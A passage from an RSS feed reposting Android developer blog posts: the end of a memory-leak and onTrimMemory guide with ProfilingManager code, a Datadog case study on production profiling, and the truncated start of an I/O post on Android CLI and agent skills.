                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
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<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
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<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

